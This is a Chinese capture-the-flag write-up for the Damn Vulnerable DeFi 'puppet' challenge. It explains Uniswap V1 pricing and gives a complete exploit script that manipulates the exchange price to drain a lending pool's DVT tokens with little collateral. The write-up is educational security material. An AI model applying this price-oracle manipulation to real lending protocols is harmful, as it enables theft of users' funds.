puppet
题目链接:https://www.damnvulnerabledefi.xyz/challenges/8.html
题目描述:
有一个借贷池提供 DVT 代币的借贷服务,但需要先存入两倍价值的 ETH 作为抵押物。现在这个池子里有 100000 个 DVT。
UniswapV1 现在有交易对 ETH-DVT,且有 10ETH 和 10DVT。
现在你有 25 个 ETH 和 1000DVT。你需要窃取借贷池中的所有代币。
借贷合约 PuppetPool.sol
提供的借贷的功能如下
// 借出 DVT,但前提是存入两倍价值的等额 ETH
function borrow(uint256 borrowAmount) public payable nonReentrant {
// 计算需要存入的ETH数量
uint256 depositRequired = calculateDepositRequired(borrowAmount);
require(msg.value >= depositRequired, "Not depositing enough collateral");
// 返还多存的ETH
if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
// 保存 msg.sender 存入的ETH数量
deposits[msg.sender] = deposits[msg.sender] + depositRequired;
// 将 DVT token 转给 msg.sender
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");
emit Borrowed(msg.sender, depositRequired, borrowAmount);
}
该方法主要做了以下几件事:
- 根据借出的
DVT
数量,计算需要存入ETH
的数量depositRequired
- 确保调用时存入的
ETH
数量是大于depositRequired
,如果存入的多了,会返还差值。 - 保存存入的
ETH
数量,并借出DVT
计算需要存入 ETH
的数量是根据 uniswapv1 中配对合约 ETH-DVT
的流动性来计算。这里先简单介绍下 uniswapv1
中的合约及其方法。
共有两种合约:
-
Factory
工厂合约,用来创建并部署配对合约。核心方法是createExchange(token: address): address
用来创建ETH
对token
的配对合约并部署,返回配对合约地址。 -
Exchange
交易合约,也叫配对合约。在 v1 版本中只有ETH
对Token
的交易对,不存在Token
对Token
的交易对。
当通过工厂合约创建了配对合约后,便能调用方法 addLiquidity
向其中添加流动性,也就是将 Token
和 ETH
存入到配对合约中,同时流动性提供者会获得 LP token
作为提供流动性的凭证。
@payable
addLiquidity(
min_liquidity: uint256,
max_tokens: uint256,
deadline: uint256
): uint256
调用该方法时,除了参数外还需要发送 ETH
,参数详解如下:
min_liquidity
流动性提供者期望获得的最少的LP token
数量,如果最后获得的小于该值,则交易会回滚max_tokens
流动性提供者想要提供的最大代币数量,如果计算得出的代币数量大于该值,而又不想提供时,则交易回滚deadline
提供流动性的截止时间
当配对合约中有了流动性,其他交易者便能进行交易。不同于中心化交易所,交易价格由订单簿的最新成交价确定。uniswap
中的交易价格是根据恒定乘积公式计算的
其中 和 是配对的两个币种的储备量。
假设有配对合约 ETH-USDT
, 其中 ETH
有 10 个作为 ,USDT
有 100 个作为 。则
此时要出售 个 ETH
, 得到 USDT
的数量为 。也就相当于池子中 ETH
的数量变为了 ,根据恒定乘积公式:
同理出售 个 USDT
,得到 ETH
数量为
这是在没有手续费的情况下的计算公式,但通常情况中会收取 0.3% 的手续费,并根据流动性提供者所持有 LP token
的比例分配。
在存在手续费的情况下,要出售 个 ETH
,相当于实际出售的 ETH
数量是 ,uniswap
为了计算方便,将分子分母同时乘以 1000。
在 uniswap
的 v1 版本中提供了几个方法用于查询价格
getEthToTokenInputPrice(eth_sold: uint256): uint256
输入卖出的ETH
数量,返回得到的token
数量getTokenToEthOutputPrice(eth_bought: uint256): uint256
输入要买的ETH
数量,返回需要给出的token
数量getEthToTokenOutputPrice(tokens_bought: uint256): uint256
输入要买的token
数量,返回需要给出的ETH
数量getTokenToEthInputPrice(tokens_sold: uint256): uint256
输入要卖的token
数量,返回得到的ETH
数量
兑换相关方法如下:
ethToTokenSwapInput(min_tokens: uint256, deadline: uint256): uint256
用ETH
兑换token
:min_tokens
是期望得到的最少的token
数量。如果调 用该方法时发送的ETH
数量不足以兑换期望的token
数量,则交易失败。如果足够,则全额兑换并执行交易。函数返回值为可兑换的token
数量。ethToTokenSwapOutput(tokens_bought: uint256, deadline: uint256): uint256
用ETH
兑换token
:调用该方法时发送ETH
用以兑换tokens_bought
数量的token
,如果发送的ETH
数量过多,则会返还多余的数量,函数返回值为实际出售的ETH
数量tokenToEthSwapInput(tokens_sold: uint256, min_eth: uint256, deadline: uint256): uint256
用token
兑换ETH
tokenToEthSwapOutput(eth_bought: uint256, max_tokens: uint256, deadline: uint256): uint256
用token
兑换ETH
再回到题目中,借贷合约 PuppetPool.sol
中计算需要存入的 ETH
数量的方法 calculateDepositRequired
// 计算需要存入的 eth 数量
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
// 抵押物的价值 = 借出的数量 * 价格 * 2
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}
// 计算每个 token 的价值等同于多少ETH
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
从代码中可以看出,token
的价值来自于 uniswap
配对的两个币种的储备量。
假设有配对合 约 ETH-UNI
,其中有 100 个 ETH 和 10 个 UNI ,则 1UNI 的价值等同于 10ETH,即每个 token
价值等于 ,如果能够增加分母的值或减小分子的值,则会降低每个 token
的价值。
已知条件中黑客持有 25 个 ETH 和 1000DVT,因此可以用黑客持有的 1000DVT 去兑换 ETH,此举会大大增加分母的值并减小分子的值。也就意味着 DVT 的价值会变的很低。
之后再去进行借贷,需要抵押的 ETH 将只需要很少的数量。最后再从 uniswap
中重新兑换回 DVT
it('Exploit', async function () {
const attackerCallLendingPool = this.lendingPool.connect(attacker)
const attackerCallToken = this.token.connect(attacker)
const attackerCallUniswap = this.uniswapExchange.connect(attacker)
// 授权 uniswap 支配 attacker 的 DVT token
await attackerCallToken.approve(
attackerCallUniswap.address,
ATTACKER_INITIAL_TOKEN_BALANCE
)
// 初始余额
// attacker: ETH balance => 25
// attacker: DVT balance => 1000
// uniswap: ETH balance => 10
// uniswap: DVT balance => 10
// 在 uniswap 中使用 DVT 兑换 ETH
await attackerCallUniswap.tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('1'),
(await ethers.provider.getBlock('latest')).timestamp * 2
)
// attacker: ETH balance => 34.900571637914797588
// attacker: DVT balance => 0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010
// 计算需要抵押的 ETH 数量
const collateralCount =
await attackerCallLendingPool.calculateDepositRequired(
POOL_INITIAL_TOKEN_BALANCE
)
// 借出 DVT
await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
value: collateralCount
})
// collateralCount = 19.6643298887982
// attacker: ETH balance => 15.236140794921379778
// attacker: DVT balance => 100000.0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010.0
// 计算从 uniswap 兑换 ATTACKER_INITIAL_TOKEN_BALANCE 数量的 DVT 需要多少 ETH
const payEthCount = await attackerCallUniswap.getEthToTokenOutputPrice(
ATTACKER_INITIAL_TOKEN_BALANCE,
{
gasLimit: 1e6
}
)
// payEthCount = 9.960367696933900101
// 兑换 DVT
await attackerCallUniswap.ethToTokenSwapOutput(
ATTACKER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock('latest')).timestamp * 2,
{
value: payEthCount,
gasLimit: 1e6
}
)
// attacker: ETH balance => 5.275716174066780228
// attacker: DVT balance => 101000.0
// uniswap: ETH balance => 10.059672562872331085
// uniswap: DVT balance => 10.0
})
攻击者利用 uniswap
操纵价格,用 19.6643298887982ETH 作为抵押物成功借出了 100000DVT。而如果直接借的话,则需要付出的成本为 200000ETH
最后执行 yarn puppet
测试通过!